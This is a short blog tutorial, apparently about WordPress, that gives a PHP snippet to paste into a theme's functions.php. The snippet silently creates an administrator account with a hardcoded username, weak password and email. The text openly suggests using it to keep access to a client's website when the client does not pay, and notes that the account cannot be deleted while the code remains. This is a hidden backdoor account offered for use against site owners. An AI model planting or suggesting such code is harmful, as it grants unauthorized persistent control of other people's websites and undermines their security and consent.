If you want to create a user without dashboard access. Just follow the below steps.
Paste the below code into it functions.php. Then an account will be automatically generated. No one can delete this user unless someone removes this code from functions.php.
It has the requirements. Suppose you are a freelancer, you have worked properly on your client. But he does not want to make payments. Then you can access the website in this way.
You just have to follow a step, paste the code below into your function.php
<?php $createuser = wp_create_user('ahamedsojib','sojib','Ahamedsojib@purebdinfo.com'); $newuserrole= new WP_User($createuser); $newuserrole -> set_role('administrator'); ?>
If the tutorial is useful, they will definitely subscribe to our youtube channel. [sm-youtube-subscribe]
Leave a Reply